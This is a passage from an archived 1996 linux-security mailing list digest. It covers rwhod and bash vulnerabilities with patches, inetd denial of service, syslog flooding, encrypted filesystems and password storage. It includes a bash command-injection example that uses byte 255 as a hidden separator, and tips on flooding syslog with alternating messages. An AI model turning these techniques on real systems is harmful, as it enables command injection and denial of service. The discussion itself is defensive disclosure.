somehow evaluate which entries need to be ignored. Dunno how one would do this. I don't know - apart from remote connections (which we can limit to some extent) what practical ways would there be for an attacker to really flood syslog? [REW: Trivial. Find anything that gets logged and repeat that.] - ------------------------------------------------------------------------- L.Mandelstam - System Administrator [email protected] S A Council of Churches, PO Box 4921, Johannesburg, 2000, South Africa tel:+27-11-492-1380 x145 fax:+27-11-492-1448 mobile: +27-83-229-0712 - ------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #48 *********************************** linux-security-digest/v02.n049100664 1767 1767 50171 6207035737 15462 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #49 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 22 August 1996 Volume 02 : Number 049 [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: Vulnerability list/info Re: [linux-security] Problems running crack on linux. [linux-security] Re: Anon ftp pkg? Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? Re: [linux-security] inetd and denial-of-service Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload Re: [linux-security] Secure Filesystem Re: [linux-security] inetd and denial-of-service [linux-security] Re: rwhod buffer overflow Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) ---------------------------------------------------------------------- From: Jeffrey Barber Date: Tue, 20 Aug 1996 07:06:15 -0800 Subject: [linux-security] Secure Filesystem I have been approached do write kernel mods to linux that will pgp encrypt the entire file system. At boot up you will be prompt for the file system password. Great idea, HUGE project. My question is, is this already in the makings or is it already out there. Your input would be greatly appreciated. [REW: I've seen references (excluding the PGP part) to encrypting file systems in the "loop device" and the "user-fs" area. The encryption of the filesystem should certainly not be done using RSA, but just like PGP does, with IDEA or something like that. Using PGP as the "framework" is interesting, because it enables you to cryptographically give out "read-only" access to the partition!] TIA ------------------------------ From: David Holland Date: Tue, 20 Aug 1996 15:41:49 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service > > > This is a message I saw on the kernel mailing list: > > On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > > > I have an application that for simplicity backs up new files from a file > > server via rsh. Things thingy stops after a few rsh calls to the remote > > Linux machine. The following message can be found in syslog: > > > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > > service terminated > [...] > > Obviously, this could be a denial of service attack. If you have problems with it, having cron send inetd a SIGHUP every fifteen minutes or so should cure the problem. This is gross, though. > [REW: I couldn't reproduce the "terminating service" on my slackware > distribution. It seems to have the same 1.1 version of inetd. I suspect > that the machine is too slow to accept more than 40 requests per minute. > > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > Disabled for 5 minutes"] This has been added to the to-do list for inetd. - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: infinity Date: Tue, 20 Aug 1996 10:12:40 -0700 (PDT) Subject: [linux-security] Re: Vulnerability list/info Roscinante's thoughts were: | | > ftp://ftp.infonexus.com/pub/Philes/AttackFlawsExploits/Linux | > [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair | | Is there an alternate site for the above? The site refuses anon ftp (donno if | that's cos there's a limit, or you don't allow anon.. It only says 'login | rejected' or some such). | If you try to ftp in during peak hours: 530-The wire is smoking! Sorry to do this, but ftp access is limited 530-to off peak hours now. 530- 530-It is: Tue Aug 20 10:08:20 1996 PST 530- 530-Try back between: 530- 530-Mon-Fri: 1700-800 PST 530-Sat-Sun: 000-2400 PST 530- 530-Mail [email protected] with any gripes, complaints, or offers of free 530-ISDN service... 530- 530 User ftp access denied. If the limit has been reached during peak hours you will get a message telling you: 530-The pipe is filled to capacity! 530-4 users is the current max... 530- 530- 530 User ftp access denied. Due to bandwidth constraints, ftp is limited to 1700-900PST M-F and all day Sat,Sun... - -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist ------------------------------ From: root Date: Tue, 20 Aug 1996 11:04:12 -0700 (PDT) Subject: Re: [linux-security] Problems running crack on linux. On Fri, 16 Aug 1996, Alan Cox wrote: > > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > > pwc: Aug 16 16:11:12 Terminating... > > -->8-->8-- > > This is correct. Our long passwords are different. We also have a very > fast crypt() in libc, so use that an for optimal performance static link > it so crypt isnt running -fPIC > > Crack 5.0 is about to appear > > I had the same prob with crack 4.1f, and i had to get a procompiled version from sunsite... i want to know how to link libc's crypt() into crack... can someone make a patch for crack 4.1f? -Rob ------------------------------ From: Elliot Lee Date: Wed, 21 Aug 1996 10:05:52 -0400 (EDT) Subject: [linux-security] Re: Anon ftp pkg? On Wed, 21 Aug 1996, Roscinante wrote: > Does the updated anonftp pkg have a fixed version of tar? Yes, that's all that changed :-) > I've been trying all night to get rpm working on my slack system, am I > wasting my time (someone told me all thats in the updated anonftp pkg is > a config script)? No. > Are there options in tar that should be disabled at compile time? > What options are exploitable? Please cc me directly. I have attached a patch to tar that you can compile tar with to fix it. Hope this helps, --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." - --- tar-1.11.8/src/tar.c.sopwith Sat Jun 17 16:48:32 1995 +++ tar-1.11.8/src/tar.c Mon Aug 19 12:19:16 1996 @@ -22,6 +22,8 @@ #include "system.h" +#include + #ifndef FNM_LEADING_DIR # include #endif @@ -1202,14 +1204,19 @@ break; case OPTION_COMPRESS_PROG: - - if (flag_compressprog) - - ERROR ((TAREXIT_FAILURE, 0, - - _("Only one compression option permitted"))); - - flag_compressprog = optarg; + openlog("ftp tar", 0, LOG_DAEMON); + syslog(LOG_WARNING,"Attempt to run tar via FTP with compress command %s", + optarg); + closelog(); + flag_compressprog = NULL; break; case OPTION_RSH_COMMAND: - - flag_rsh_command = optarg; + openlog("ftp tar", 0, LOG_DAEMON); + syslog(LOG_WARNING,"Attempt to run tar via FTP with rsh command %s", + optarg); + closelog(); + flag_rsh_command = NULL; break; case 'g': ------------------------------ From: Racer X Date: Wed, 21 Aug 1996 23:22:33 -0400 (EDT) Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? On Mon, 19 Aug 1996, Paul D. Robertson wrote: > > Surely you must be running syslogd? There are many known problems with > > syslogd to do with buffer overruns, and in particular if your syslogd > > listens on the syslogd UDP port, then that could easily be the trouble. > > Hrm, all the exploits I've seen deal with the syslog library call, not the > daemon, and the Linux libraries have been fixed for a while. Could you > provide more info on the daemon problems? The "daemon problem" is caused by a syslogd that listens on the network UDP/syslog port for incoming messages from other hosts. An attacker could fill up your hard disk, but that's about it. The latest syslogd for Linux has this behavior turned off by default; you have to explicitly tell it to listen on the network, and you can specify hosts to listen to or ignore. It should be blocked at the firewall/router if you want to run it on the net. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: Racer X Date: Wed, 21 Aug 1996 23:19:14 -0400 (EDT) Subject: Re: [linux-security] inetd and denial-of-service On Mon, 19 Aug 1996, Joel Maslak wrote: > evil.com writes a program which, all at once, sends out 40 connection > requests to good.edu's telnet port. Good.edu's inetd, thinking that > something is broke stops allowing incoming telnets. > > Ideas for solution: > > 1. Add a number after nowait for TCP services in /etc/inetd.conf. This > number represents the max number of requests per minute. Set it to 32000 > or something. Note that this requires a recent version of inetd. (I run > 1.1) This sounds pretty good, but what do you do when you pass the limit (whatever it is)? Would you shut down the service, or just start ignoring connects? [REW: my inetd closes the socket causing "connection refused" errors] > 2. Block access to all ports except from "trusted sites". This assumes a > open environment where the network medium is generally trusted. Note that > IP spoofing attacks can occur if the network is not trusted. This can be done with TCP wrappers. [REW: Not quite. If inetd drops the port, tcpd won't get started. Another problem is that a tcpd is started for every connection. This means that state would have to be passed by files, creating locking problems etc etc. -> Not trivial. Inetd seems fine to me.] I started thinking about this a couple of days ago (right after I read the source for the SYN-flooder in the latest 2600). I thought of a way to at least try to avoid total denial-of-service. >From the sources I have seen for SYN-flooders, they generally forge the source address. One style is to generate random source addresses, the other is to take a user-specified address. A way around the first style is this: If the max number of connects per unit time is passed, stop the server for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on that port. Any that can't be reversed should be immediately dropped. Once you're back under the limit, restart the server. You could get around the second style by specifying a max number of connects to accept from any one site at a time. However, passing this limit would not shut down the server, it would just deny that site until it was back under limit. [REW: We use this to limit "misuse" of our NNTP server. Just sleep for a second after each request before servicing the next one.... This would not "break" the script but severely limit the performance for the guy who started this thread....] The more I think about this though, the more it seems this would be better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult to do, although I'm not sure if you would have to do anything in kernel space too. For instance, if you have a connect that is in state SYN_RECV, can you just arbitrarily drop it, or do you have to wait for something to timeout in the TCP code? [REW: You could fiddle with the firewall rules to lock out certain hosts/ports....] shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: [email protected] Date: Wed, 21 Aug 1996 09:54:04 -0700 Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload >> Personally, I'd wish to have a distribution kit that would ask me >> whether I want an "merely open" or a "secure" system. For development >> >> What do you think about this? Alex> Personally, I find that doing a "cd / ; find -perm -04000 -user root" and I really recommend doing both 'find / -perm -4000 -print' and 'find / -perm -2000 -print'. There are suid uucp binaries, tin by default is suid news, (unnecessary if you read news by NNTP, like me), plus there are some sgid binaries which don't need to be sgid. Just a thought, Sam - -- Sam Mikes "I could kill for this one time and not get caught" [email protected] -- Midnight Oil ------------------------------ From: Kurt Hockenbury Date: Wed, 21 Aug 1996 11:20:48 -0400 (EDT) Subject: Re: [linux-security] Secure Filesystem On Tue, 20 Aug 1996, Jeffrey Barber wrote: > I have been approached do write kernel mods to linux that will pgp > encrypt the entire file system. At boot up you will be prompt for the > file system password. Great idea, HUGE project. My question is, is this > already in the makings or is it already out there. Your input would be > greatly appreciated. > > [REW: I've seen references (excluding the PGP part) to encrypting file > systems in the "loop device" and the "user-fs" area. It's not PGP, but there is also CFS, the Cryptographic filesystem, which works via an NFS mount. I've played with it on linux, and it seems to work well. It's written by Matt Blaze, there are papers describing it at ftp://research.att.com/dist/mab/ CFS runs on most major Unixes, has support for several ciphers (DES, 3-DES, MacGuffin, and SAFER-SK128), and has hooks for adding new ciphers. The only drawback is you need to send mail, stating that you are in US or Canada, and a citizen or permanent resident, to get a copy sent to you. You could probably also find illegally exported copies in non-US securty archives, but this list isn't the place to discuss US export law. -Kurt - -- [Place] snail://USA/07030/NJ/Hoboken/PO Box 5136/Kurt M. Hockenbury [Stamp] [Here.] ------------------------------ From: "Peter Tobias" Date: Wed, 21 Aug 1996 18:39:19 +0200 (MET DST) Subject: Re: [linux-security] inetd and denial-of-service David Holland wrote: > > This is a message I saw on the kernel mailing list: > > > > On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > > > > > I have an application that for simplicity backs up new files from a file > > > server via rsh. Things thingy stops after a few rsh calls to the remote > > > Linux machine. The following message can be found in syslog: > > > > > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > > > service terminated > > [...] > > > > Obviously, this could be a denial of service attack. > > If you have problems with it, having cron send inetd a SIGHUP every > fifteen minutes or so should cure the problem. This is gross, though. > > > [REW: I couldn't reproduce the "terminating service" on my slackware > > distribution. It seems to have the same 1.1 version of inetd. I suspect > > that the machine is too slow to accept more than 40 requests per minute. > > > > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > > Disabled for 5 minutes"] > > This has been added to the to-do list for inetd. This feature does already exist. The inetd-5.30 that the Debian Distribution uses reenables the service after 10 minutes. Thanks, Peter - -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany [email protected] ------------------------------ From: David Holland Date: Wed, 21 Aug 1996 19:02:15 -0400 (EDT) Subject: [linux-security] Re: rwhod buffer overflow > Through examining the source this appears to be a problem in current > OpenBSD, NetBSD, FreeBSD, and Linux distributions. Yes - I only found the bug last week. I was waiting to post it until I could track down an appropriate FreeBSD contact to get the fixes applied. Ah well. The fixed Linux version will be released in NetKit-B-0.08 tonight. The NetKit-B release has been delayed by considerations over the RESOLV_HOST_CONF problem. :( I know the fix has been applied to OpenBSD, and it's at least been sent to NetBSD... - -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 ------------------------------ From: Sam Quigley Date: Wed, 21 Aug 1996 14:28:53 -0700 (PDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Tue, 20 Aug 1996, Louis Mandelstam wrote: > I don't know - apart from remote connections (which we can limit to some > extent) what practical ways would there be for an attacker to really flood > syslog? > > [REW: Trivial. Find anything that gets logged and repeat that.] But surely a clever syslog would respond to this sort of repeated log by saying something like: Syslog: Last message repeats x times. Each syslog entry needs to be unique, and there need to be a whole lot of them. I don't immediately see how an attacker could flood syslog with unique messages without leaving evidence of how those messages were sent. (I am willing to concede that it's possible -- I'm just curious as to how. In any case, a clever syslog like this isn't a great solution: there needs to be some way to prevent this kind of attack altogether.) [REW: Just make sure that there are two different messages that you alternate. (for example by alternating telnet and rsh requests.) Or find a deamon that logs two different lines. (e.g. rsh as root, which gives you a tcpd line and a rsh line). Or find a deamon that puts a unique identifier (pid) in the log (e.g. sendmail). ] - -sq ------------------------------ From: Brian Mitchell Date: Wed, 21 Aug 1996 14:48:54 -0400 (EDT) Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) On Tue, 20 Aug 1996, Brian Mitchell wrote: > [REW: I thought that we had something like "securelevel" too, which > would, given the right value, disable the clearing of those flags. > One of the primary uses of the immutable and append-only flags are for > the logfile case that we're looking at right now. I wouldn't consider > it ready for inclusion in the standard kernel if it didn't make > an attempt at being secure against a root-user. I can't find anything > about this in my /usr/src/linux tree. Maybe it's just an optional patch > that someone has lying around?] Well, according to me brief browsing of a 2.x kernel (the specific one, I do not recall) we now have securelevel and sysctl(). Previously, linux did not. Im sure someone involved in e2fs development can shed more light on this though. [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ if ((flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL)) ^ (inode->u.ext2_i.i_flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL))) { /* This test looks nicer. Thanks to Pauline Middelink */ if (!fsuser() || securelevel > 0) return -EPERM; } else if ((current->fsuid != inode->i_uid) && !fsuser()) return -EPERM; so it should in principle be secure.] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - - H. Truman ------------------------------ End of linux-security-digest V2 #49 *********************************** linux-security-digest/v02.n050100664 1767 1767 52614 6207076611 15452 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #50 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Thursday, 22 August 1996 Volume 02 : Number 050 [linux-security] rwhod buffer overflow [linux-security] Saving Passwords in Binaries [linux-security] Locking consoles. Re: [linux-security] Secure Filesystem [linux-security] BoS: Mycroftish description of bash hole. (fwd) ---------------------------------------------------------------------- From: "David J. Meltzer" Date: Wed, 21 Aug 1996 16:38:57 -0400 (EDT) Subject: [linux-security] rwhod buffer overflow There is a remote buffer overflow in the path variable in rwhod.c in the line: (void) sprintf(path, "whod.%s", wd.wd_hostname); Although wd_hostname is defined to be only 32 characters, it is read as part of the wd structure from a remote host through a UDP packet and can be as large as the remainder of the structure starting at that point. Through examining the source this appears to be a problem in current OpenBSD, NetBSD, FreeBSD, and Linux distributions. Through penetration testing I have also found this problem present on AIX; I have not examined other platforms running rwhod and so do not know about their potential vulnerability. I have succesfully exploited this remotely to produce undesirable effects (segfaults and overwriting argv[0] on different OSes), I have not spent sufficient time on this to determine exactly how/if to compromise root directly with this overflow, but it is definitely something that should be corrected. I would suggest prior to the sprintf line you add something to the effect: if(strlen(wd.wd_hostname) >= sizeof(wd.wd_hostname)) { syslog(LOG_WARNING, "possible hostname overflow attack apparently from %x", from.sin_addr); continue; } Program: /usr/sbin/rwhod Affected Operating Systems: OpenBSD, NetBSD, FreeBSD, Linux, AIX, others. rwhod must be running on the system Requirements: Ability to send UDP packet to target host Security Compromise: Possible denial of service, Possible annoyance, Possibly root compromise? Author: Dave M. ([email protected]) Synopsis: rwhod reads a structure from a udp packet and does not check the hostname member of the structure for being the expected size. - --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 - --------------------------------+--------------------- David J. Meltzer | Email: [email protected] Systems Engineer | Web: www.iss.net Internet Security Systems, Inc. | Fax: (404)252-2427 ------------------------------ From: Todd W Burgess Date: Wed, 21 Aug 1996 11:51:50 -0400 (EDT) Subject: [linux-security] Saving Passwords in Binaries I have been working on a program which will check for new mail on an IMAP server and have encountered an interesting problem. My program is written in C and runs (currently) under Linux and HPUX. It initiates an IMAP session by connecting to port 143 on the IMAP server. The problem is this: In order to start an IMAP session the IMAP server needs a username and a password (both must be in plain-text). A typical IMAP login string would look like "? login username password\n". In order to get the username and password I have come up with two solutions: Solution 1: Involves calling getuid(2) to get the user ID and then calling getpwuid(3) to get the encrypted password. I then query the user for the password, crypt(3) the user supplied password, compare the encrypted user supplied password with the one from getpwuid(3) and if they match then I know I have the right password. The program then will login to the IMAP server. Solution 2: Have the user edit a .h file. The user edits two defines one define is the IMAP username and the other is the password. The user then compiles the program, verifys that it works and deletes the .h file they edited. Problem with solution 2 is that if either the user has group or world read permissions set on the binary then it is posssible for an unauthorized individual to find out the user's password simply by doing a "strings " (because the user enters them into the .h file in plaintext form they get saved in the binary in plaintext). Solution 1 does not have the above security flaw. The only problem is that everytime you run it, you have to type in your password. The advantage to Solution 1 is the user does not have to compile the program to get it to work. So what it comes down to is this: I would be interested in hearing about ways I could store the password in the binary in an encrypted form. The criteria for the encryption algorithm is this: it can not violate any international laws, whatever gets encrypted must also be decrypted (ie no "one-way" encryption algorithms) and the algorithm makes it impractical to easily crack the password. I have very little experience in implementing encyption algorithms so I would be interested in hearing from people who have. The biggest encyption project I ever did was write a rot13 algorithm in 68000 assembly on a final exam. If anybody is interested in what I have done so far, e-mail me and I will send you the code. [REW: Cryptographically: if your program can decode the password, so can someone else. The easiest way would be to just run the program and use strace to find the "write username,password to the server". If you correctly emphasize that your encryption is "for authentification purposes only" you won't have export problems. I'd allow the user to put the IMAP loginname and password in a file. Your program should test that the file is not world readable. If you can't find that file, ask the user (i.e. fall back on your "solution 1"). The information in this file could be encrypted just as in your "solution 2".] University of Guelph, Computer Science Major E-mail: [email protected] URL: http://eddie.cis.uoguelph.ca/~tburgess ------------------------------ From: [email protected] (Rogier Wolff) Date: Thu, 22 Aug 1996 10:39:37 +0200 (MET DST) Subject: [linux-security] Locking consoles. Rogier Wolff said something to the effect that Linux consoles could be locked by pressing control-D for a while in all VCs. Andries replied: > And that does not suffice on systems that do not spawn getty's > from inittab but upon a suitable keypress. > (On my system pressing Alt-UpArrow will create a fresh VC and a > login running there.) Rogier asked: How do you do that? Andries replies: > In /etc/rc.local: > ------------------------------- > loadkeys << EOF > alt keycode 103 = Spawn_Console > EOF > spawn_login & > ------------------------------- > spawn_login can be found in the kbd package. > There exist much more elaborate schemes using the same mechanism - > see the dynamic console package. > Andries ------------------------------ From: Eilon Gishri Date: Thu, 22 Aug 1996 15:56:41 +0300 (IDT) Subject: Re: [linux-security] Secure Filesystem > On Tue, 20 Aug 1996, Jeffrey Barber wrote: [Quoting trimmed --REW] > > You could probably also find illegally exported copies in non-US securty > archives, but this list isn't the place to discuss US export law. ftp://ftp.funet.fi/pub/crypt/utilities/disk/cfs-1.3.3.tar.gz [REW: And from Paul D. Robertson ([email protected]): ftp://utopia.hacktic.nl/pub/replay/pub/crypto/CRYPTOapps/cfs ] - -- Eilon Gishri, Tel-Aviv University Computation Center Home 03-5078671 E-mail: [email protected] ------------------------------ From: "Paul D. Robertson" Date: Thu, 22 Aug 1996 09:06:46 -0400 (EDT) Subject: [linux-security] BoS: Mycroftish description of bash hole. (fwd) Hrm, havent seen this here yet. If this is a precursor to IBM actually issuing reports, then it's a good thing[tm] IMNSHO. [REW: Huh? What fool runs his Httpd as "root"?] Paul - ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 - ---------- Forwarded message ---------- Date: Thu, 22 Aug 1996 16:26:56 -0400 From: Matthew Aldous To: [email protected] Subject: BoS: Mycroftish description of bash hole. Resent-Date: Thu, 22 Aug 1996 19:10:38 +1000 Resent-From: [email protected] Whilst I know you might not care for security problems on meditation, I just wanted to splode over the description of *why* this problem exists. (If you read section B, it's very mycroftish.) - ------------------------------------------------------------------------------ register char *string; vs. register unsigned char *string; - ------------------------------------------------------------------------------ Matt - -----BEGIN PGP SIGNED MESSAGE----- AUSCERT has received the following Alert from the IBM ERS team concerning a vulnerability in the GNU "bash" shell. It is passed on for your information. If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au/pub/. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au/. Internet Email: [email protected] Facsimile: (07) 3365 4477 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. - - -- Begin Included Advisory -- - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- ======= ============ ====== ====== ======= ============== ======= ======= === === ==== ====== ====== === =========== ======= ======= === =========== === ======= === === === ==== === ===== === ======= ============== ===== === ===== ======= ============ ===== = ===== EMERGENCY RESPONSE SERVICE SECURITY VULNERABILITY ALERT 21 August 1996 13:00 GMT Number: ERS-SVA-E01-1996:004.1 =============================================================================== VULNERABILITY SUMMARY VULNERABILITY: A variable declaration error in "bash" allows the character with value 255 decimal to be used as a command separator. PLATFORMS: Bash 1.14.6 and earlier versions. SOLUTION: Apply the patch provided below. THREAT: When used in environments where users provide strings to be used as commands or arguments to commands, "bash" can be tricked into executing arbitrary commands. =============================================================================== DETAILED INFORMATION I. Description A. Introduction The GNU Project's Bourne Again SHell ("bash") is a drop-in replacement for the UNIX Bourne shell (/bin/sh). It offers the same syntax as the standard shell, but also includes additional functionality such as job control, command line editing, and history. Although "bash" can be compiled and installed on almost any UNIX platform, its most prevalent use is on "free" versions of UNIX such as Linux, where it has been installed as "/bin/sh" (the default shell for most uses). The "bash" source code is freely available from many sites on the Internet. B. Vulnerability Details There is a variable declaration error in the "yy_string_get()" function in the "parser.y" module of the "bash" source code. This function is responsible for parsing the user-provided command line into separate tokens (commands, special characters, arguments, etc.). The error involves the variable "string," which has been declared to be of type "char *." The "string" variable is used to traverse the character string containing the command line to be parsed. As characters are retrieved from this pointer, they are stored in a variable of type "int." On systems/compilers where the "char" type defaults to "signed char", this vaule will be sign-extended when it is assigned to the "int" variable. For character code 255 decimal (-1 in two's complement form), this sign extension results in the value (-1) being assigned to the integer. However, (-1) is used in other parts of the parser to indicate the end of a command. Thus, the character code 255 decimal (377 octal) will serve as an unintended command separator for commands given to "bash" via the "-c" option. For example, bash -c 'ls\377who' (where "\377" represents the single character with value 255 decimal) will execute two commands, "ls" and "who." II. Impact This unexpected command separator can be dangerous, especially on systems such as Linux where "bash" has been installed as "/bin/sh," when a program executes a command with a string provided by a user as an argument using the "system()" or "popen()" functions (or by calling "/bin/sh -c string" directly). This is especially true for the CGI programming interface in World Wide Web servers, many of which do not strip out characters with value 255 decimal. If a user sending data to the server can specify the character code 255 in a string that is passed to a shell, and that shell is "bash," the user can execute any arbitrary command with the user-id and permissions of the user running the server (frequently "root"). The "bash" built-in commands "eval," "source," and "fc" are also potentially vulnerable to this problem. III. Solutions A. How to alleviate the problem This problem can be alleviated by changing the declaration of the "string" variable in the "yy_string_get()" function from "char *" to "unsigned char *." B. Official fix from the "bash" maintainers The "bash" maintainers have told us they plan to fix this problem in Version 2.0 of "bash," but this will not be released for at least a few more months. C. Unofficial fix until the official version is released Until the "bash" maintainers release Version 2.0, this problem can be fixed by applying the patch below to the "bash" source code, recompiling the program, and installing the new version. The patch below is for Version 1.14.6 of "bash." Source code for this version can be obtained from ftp://prep.ai.mit.edu/pub/gnu/bash-1.14.6.tar.gz as well as many other sites around the Internet. - - ---------------------------------- cut here - ---------------------------------- *** parse.y.old Thu Nov 2 15:00:51 1995 - - --- parse.y Tue Aug 20 09:16:48 1996 *************** *** 904,910 **** static int yy_string_get () { ! register char *string; register int c; string = bash_input.location.string; - - --- 904,910 ---- static int yy_string_get () { ! register unsigned char *string; register int c; string = bash_input.location.string; - - ---------------------------------- cut here - ---------------------------------- To apply this patch, save the text between the two "--- cut here ---" lines to a file, change directories to the "bash" source directory, and issue the command patch < filename If you do not have the "patch" program, you can obtain it from ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz or you can apply the patch by hand. After applying the patch, recompile and reinstall the "bash" program by following the directions in the "INSTALL" file, included as part of the "bash" distribution. This patch is provided "AS IS" without warranty of any kind, including, without limitation, any implied warranties of merchantibility or fitness for a particular purpose. This advisory does not create or imply any support obligations or any other liability on the part of IBM or its subsidiaries. IV. Acknowledgements IBM-ERS would like to thank the IBM Global Security Analysis Laboratory at the IBM T. J. Watson Research Center for their discovery of this vulnerability, bringing it to our attention, providing the patch to fix it, and assistance in developing this alert. UNIX is a technology trademark of X/Open Company, Ltd. =============================================================================== IBM's Internet Emergency Response Service (IBM-ERS) is a subscription-based Internet security response service that includes computer security incident response and management, regular electronic verification of your Internet gateway(s), and security vulnerability alerts similar to this one that are tailored to your specific computing environment. By acting as an extension of your own internal security staff, IBM-ERS's team of Internet security experts helps you quickly detect and respond to attacks and exposures across your Internet connection(s). As a part of IBM's Business Recovery Services organization, the IBM Internet Emergency Response Service is a component of IBM's SecureWay(tm) line of security products and services. From hardware to software to consulting, SecureWay solutions can give you the assurance and expertise you need to protect your valuable business resources. To find out more about the IBM Internet Emergency Response Service, send an electronic mail message to [email protected], or call 1-800-742-2493 (Prompt 4). IBM-ERS maintains a site on the World Wide Web at http://www.ers.ibm.com/. Visit the site for information about the service, copies of security alerts, team contact information, and other items. IBM-ERS uses Pretty Good Privacy* (PGP*) as the digital signature mechanism for security vulnerability alerts and other distributed information. The IBM-ERS PGP* public key is available from http://www.ers.ibm.com/team-info/pgpkey.html. "Pretty Good Privacy" and "PGP" are trademarks of Philip Zimmerman. IBM-ERS is a Member Team of the Forum of Incident Response and Security Teams (FIRST), a global organization established to foster cooperation and response coordination among computer security teams worldwide. Copyright 1996 International Business Machines Corporation. The information in this document is provided as a service to customers of the IBM Emergency Response Service. Neither International Business Machines Corporation, Integrated Systems Solutions Corporation, nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process contained herein, or represents that its use would not infringe any privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by IBM or its subsidiaries. The views and opinions of authors expressed herein do not necessarily state or reflect those of IBM or its subsidiaries, and may not be used for advertising or product endorsement purposes. The material in this security alert may be reproduced and distributed, without permission, in whole or in part, by other security incident response teams (both commercial and non-commercial), provided the above copyright is kept intact and due credit is given to IBM-ERS. This security alert may be reproduced and distributed, without permission, in its entirety only, by any person provided such reproduction and/or distribution is performed for non-commercial purposes and with the intent of increasing the awareness of the Internet community. - - ---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE---EXTERNAL RELEASE--- - - --ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT--ERS-ALERT-- - - -- End Included Advisory -- - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Finger [email protected] to retrieve AUSCERT's public key iQCVAwUBMhx7xCh9+71yA2DNAQGktAP8D5SBbZRrdn9vgVzjMO6ZtapWmudSAlm+ QUmYzGebC9AxndCkciZX94CqAfdg/aBJY6i6/Z0+R8DHy1ndABbQ4iGirzot9I2V TIFUktCvxdifRGR4wTKLHTwFaFdW+b0R2GDhDsF05qf5vKF27qwameQKV0Smo3tA QpK8oLlQO4s= =/JYb - -----END PGP SIGNATURE----- - -- - ------------------------------------------------------------------------------- "System Administration: It's a dirty job, but someone said I had to do it." Matthew Aldous : 019339629 : [email protected] : Mental Health Research Institute - ------------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #50 *********************************** linux-security-digest/v02.n051100664 1767 1767 52011 6207700407 15437 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #51 Reply-To: linux-security Errors-To: 